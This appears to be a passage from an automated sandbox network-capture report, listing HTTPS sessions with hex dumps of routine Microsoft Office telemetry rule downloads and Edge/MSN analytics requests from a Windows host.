2024-11-23 23:07:00 UTC	7952	IN	Data Raw: 64 68 3b 00 bb 73 dc 7e 54 8e 3c da 89 0c 35 ba 83 ab 93 2f d9 3c c8 fb a6 ab 2e c6 34 37 b3 27 dd 85 80 00 be a5 82 25 78 d4 af 63 5e b3 ea 1a f2 ae 31 bd 80 6d 42 24 a8 0b b1 8e b4 c1 ee 55 b4 b2 b3 44 75 2c 7a 88 81 42 1b 2e 22 c8 34 08 4f 82 05 a4 8d 8c c4 9e 36 e3 4a e2 38 e0 b0 52 46 d2 a6 0a ab 1f 7c 29 92 02 9b f1 aa ad 2d 1e 2e b9 13 49 c8 4e ae 04 79 88 3e ee 94 0b f0 f6 d6 32 71 86 f7 b4 0e 56 bd 13 c6 9a 95 d9 8f c0 04 7d a9 43 78 3b 5e 35 0d ea c6 ed b1 37 a8 15 8a 16 21 ac 62 2f c0 81 6b f9 ef 4b 67 66 c2 1f b6 fb ac cc 24 98 fb b6 17 92 00 53 17 aa 7d 02 40 0a fc 8d c8 63 7d 8d c1 b7 2a 22 35 a0 8c 8b 74 d0 75 7d e8 36 24 f0 3c 26 38 1a 51 90 62 7d ed a6 17 8c 75 1c 63 98 b8 f2 ab da 35 0a 28 66 46 05 8b c1 20 a3 28 99 aa 10 a6 37 d0 15 25 Data Ascii: dh;s~T<5/<.47'%xc^1mB$UDu,zB."4O6J8RF\|)-.INy>2qV}Cx;^57!b/kKgf$S}@c}*"5tu}6$<&8Qb}uc5(fF (7%
2024-11-23 23:07:00 UTC	16384	IN	Data Raw: 71 22 b8 eb 61 23 da 06 9f 81 f9 f9 fe b4 fa 77 59 15 81 c8 41 13 71 04 32 f9 19 36 f9 55 ee 6f d0 b6 e9 50 93 8a 0e d1 36 bc 11 cb 63 70 05 ab 9a ee b1 13 93 d4 59 30 2f a4 cc 8d ec 3e 76 f3 a7 67 13 20 18 49 89 d5 1b ec 41 31 70 77 eb e1 57 ac 64 56 56 82 34 df 7b 10 4e e0 df 7b 8e 57 a0 65 3b 1a 77 15 76 dd c7 ac 91 c6 3e b1 b8 3e 16 a9 63 4d 4c e6 20 30 50 77 dd 5a 41 f2 d8 8e 37 ae 6b 22 b7 6d 92 cd 73 72 38 fe d4 6d e7 04 82 2b aa c5 94 15 43 6d ee 07 2d be 56 a9 29 7e 0f 3e 32 75 b1 ba 81 a8 79 83 ee 12 45 cd 71 d9 f5 02 fc 47 c3 6d ef 04 78 57 43 93 36 bc b1 a8 ed 03 96 92 0e df 99 a1 99 55 95 81 d3 3e d9 3a 62 6d fc 36 eb b4 53 85 97 80 84 08 f9 08 32 b6 89 de 7a c7 02 2b 47 a9 85 9a 7d c0 83 71 b1 f1 e1 35 28 61 91 98 5e 45 d7 88 ff 00 69 bd 66 Data Ascii: q"a#wYAq26UoP6cpY0/>vg IA1pwWdVV4{N{We;wv>>cML 0PwZA7k"msr8m+Cm-V)~>2uyEqGmxWC6U>:bm6S2z+G}q5(a^Eif
2024-11-23 23:07:00 UTC	16384	IN	Data Raw: bc 2b 7c 27 d4 80 ca c0 a3 0f 8a 2e 0e fe e8 ab 1b 03 80 01 46 f3 82 47 ed 4f 97 e7 4e 63 4c 24 8c 97 13 2d f1 0d f6 65 bc 7d 29 a7 f4 d7 de 99 32 a8 27 82 f2 e7 a5 bf 4a 9b 0e 00 36 43 8b 5a b5 a4 58 9f 88 10 7c be 55 3c 39 5d ca af dd dc 9d 22 07 2b 6d 3f 39 a6 f5 e4 76 20 65 57 93 b6 44 23 7e ba 7f 32 28 8b 06 40 40 5c 51 33 01 82 b1 22 d2 7d bc 2f 14 98 a3 77 09 a8 a9 1a 54 0f 8b 81 8b 6f cf 9c 9a 55 fb 5c 79 14 36 37 52 67 54 1f 6c 83 c0 1f 84 f8 1a 97 a0 a4 df 52 83 bc b7 b7 e7 ac 6f e5 4f 1e d4 95 03 1b 28 d2 a4 15 d4 8d aa 79 df af 15 aa 92 97 90 77 39 30 3f f7 03 28 70 2d 1f 0e 9d 8a cd ad 57 3a 8c aa 35 fb a6 c3 2a dc c4 6e dc 59 7c e1 87 33 45 57 17 72 10 00 9a d4 6e 80 6a 5f ff 00 a6 f0 47 9a c5 4b 1e 3c 3f 09 5c 9d b9 bc 40 62 92 79 06 1a 84 Data Ascii: +\|'.FGONcL$-e})2'J6CZX\|U<9]"+m?9v eWD#~2(@@\Q3"}/wToU\y67RgTlRoO(yw90?(p-W:5*nY\|3EWrnj_GK<?\@by
2024-11-23 23:07:00 UTC	7952	IN	Data Raw: c1 86 57 50 1a 54 9f ba 49 03 a1 b4 8a ea bf 19 8a 3d 1c 58 d0 a9 13 65 32 bb 11 ee 1a 49 99 91 bd 0b 75 5c f8 8a 11 61 2f 0b 77 1c d9 0d 83 8b 49 56 86 e3 36 34 5c f1 93 5a d7 e8 9c 7b 09 cd 94 2b fb 4e 52 22 7e 3d 23 e8 01 3f 3a 1b 93 20 d4 34 a2 09 bd c6 a3 f5 69 a7 f3 e1 67 50 71 1f 54 09 f8 77 e7 75 3e ef cc 50 8c a1 91 86 a0 41 81 20 ef b7 2a e5 bb 12 9f 9d 50 4d ed 56 23 70 e7 f9 45 41 58 15 53 f5 f1 a5 d1 8c 75 fd f5 26 61 4f a6 54 49 8b 5f 94 1a 86 47 d5 a9 85 2a c4 b1 d3 bf f3 ab 7a 47 11 fa d3 4c 5d 9b dd 8c 93 bc af e4 2a 28 23 11 f3 11 57 64 ff 00 4f cc 2f e5 7a 44 86 9d 23 60 7e a6 94 53 54 1d 40 5f 8d ba d1 35 c6 5d bd bb b0 02 78 02 39 7f 3e 1c 29 64 10 ab e3 27 9f f0 af ea 6b a3 c2 74 e2 66 d1 2d b6 d0 88 3a f3 37 f6 a8 f3 37 aa 93 6c 1c Data Ascii: WPTI=Xe2Iu\a/wIV64\Z{+NR"~=#?: 4igPqTwu>PA PMV#pEAXSu&aOTI_GzGL]*(#WdO/zD#`~ST@_5]x9>)d'ktf-:77l
2024-11-23 23:07:00 UTC	14945	IN	Data Raw: 00 24 1e a6 89 66 c5 91 41 d2 17 4b 03 a6 76 df ac cd 0d 00 85 92 d8 41 13 6d 1c 87 ec 50 b4 68 26 86 05 0a 9b 81 69 02 e6 23 ee f3 b5 5d 95 d1 40 fe da f0 17 2c 79 9e 0c 2a b0 65 92 72 27 b8 09 3a 4e e7 8f c0 29 7e e0 9b 29 71 bc fd ee 5e 54 ab 12 4c 9a 9d a3 1e 31 6e 44 ee 40 e2 4d 16 6c ac 33 ab 7b 63 de 4f b5 76 51 ce 26 26 84 60 00 3b 7b b9 70 ea 0f e9 4d e4 70 27 98 58 1e 24 12 6a 5a 78 3a 1c be 5c 64 00 76 95 20 0d f6 f7 47 d0 1a a3 23 31 33 bc 10 0d 81 89 99 24 45 5f 86 3d 30 5a c0 85 df a4 f2 aa 87 bf 1b 31 90 43 8f 70 be c3 8f 18 a2 7c 20 39 c3 3b 58 03 1c 3c bf ad aa ec 1d cb e1 61 36 33 b8 e4 6a 04 e8 70 c7 da 60 1d 40 02 ad e6 2d f2 aa b2 63 46 d4 55 f6 33 1c 7a fc f6 a5 0a 8b b1 d4 cc d3 f7 48 9b ef 22 87 64 d2 b9 10 70 d4 5c f8 1b 7e b4 4b Data Ascii: $fAKvAmPh&i#]@,y*er':N)~)q^TL1nD@Ml3{cOvQ&&`;{pMp'X$jZx:\dv G#13$E_=0Z1Cp\| 9;X<a63jp`@-cFU3zH"dp\~K

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49933	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:59 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:59 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:59 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: bc0c8c97-701e-0053-1e45-3c3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230659Z-178bfbc474bwh9gmhC1NYCy3rs00000005900000000034s6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:59 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.6	49934	20.110.205.119	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:59 UTC	1279	OUT	GET /c.gif?rnd=1732403212055&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=0bc75008eae841bf87e2b4c046ac6e18&activityId=0bc75008eae841bf87e2b4c046ac6e18&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=9E7A649AA04A41C7B1E0884E07A0062F&MUID=09EFB3CBA8B66A3233B2A68BA9AF6B45 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=09EFB3CBA8B66A3233B2A68BA9AF6B45; _EDGE_S=F=1&SID=1FF55F8CADA865E03E434ACCAC756444; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
2024-11-23 23:06:59 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=09EFB3CBA8B66A3233B2A68BA9AF6B45; domain=.msn.com; expires=Thu, 18-Dec-2025 23:06:59 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=09EFB3CBA8B66A3233B2A68BA9AF6B45; domain=c.msn.com; expires=Thu, 18-Dec-2025 23:06:59 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Sat, 30-Nov-2024 23:06:59 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Sat, 23-Nov-2024 23:16:59 GMT; path=/; SameSite=None; Secure; Date: Sat, 23 Nov 2024 23:06:58 GMT Connection: close Content-Length: 42
2024-11-23 23:06:59 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	49939	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:07:00 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:07:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:07:00 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: d35eb2be-501e-0064-3d8c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230700Z-178bfbc474bv7whqhC1NYC1fg4000000054g000000008abf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:07:00 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49938	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:07:00 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:07:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:07:00 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: dc5ae1d1-201e-0096-3d45-3dace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230700Z-178bfbc474bfw4gbhC1NYCunf4000000050g00000000prgu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:07:00 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49940	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:07:00 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:07:00 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:07:00 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: ab1d776c-201e-0085-601b-3d34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230700Z-15b8b599d88z9sc7hC1TEBkr4w00000003s0000000007hg5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 23:07:00 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49941	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:07:01 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:07:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:07:01 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6d4f85c2-e01e-0003-2b8c-3a0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230701Z-174c587ffdf8lw6dhC1TEBkgs800000003h000000000hvyk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:07:01 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.6	49943	20.189.173.2	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:07:01 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732403218702&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11532 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=09EFB3CBA8B66A3233B2A68BA9AF6B45; _EDGE_S=F=1&SID=1FF55F8CADA865E03E434ACCAC756444; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-23 23:07:01 UTC	11532	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 33 54 32 33 3a 30 36 3a 35 38 2e 37 30 30 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 30 36 37 39 32 34 35 37 2d 38 62 37 61 2d 34 36 61 64 2d 61 37 32 62 2d 31 62 32 62 61 64 39 64 30 63 39 63 22 2c 22 65 70 6f 63 68 22 3a 22 36 38 35 33 30 31 34 33 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-23T23:06:58.700Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"06792457-8b7a-46ad-a72b-1b2bad9d0c9c","epoch":"685301433"},"app":{"locale"
2024-11-23 23:07:02 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=ed4eed5aa3584d47ac35c01f273ec046&HASH=ed4e&LV=202411&V=4&LU=1732403221687; Domain=.microsoft.com; Expires=Sun, 23 Nov 2025 23:07:01 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=c58284396e3345a5a6459d039f0dd0d5; Domain=.microsoft.com; Expires=Sat, 23 Nov 2024 23:37:01 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2985 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 23 Nov 2024 23:07:01 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49942	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:07:01 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:07:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:07:01 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230701Z-174c587ffdfl22mzhC1TEBk40c00000003p000000000nk10 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:07:02 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 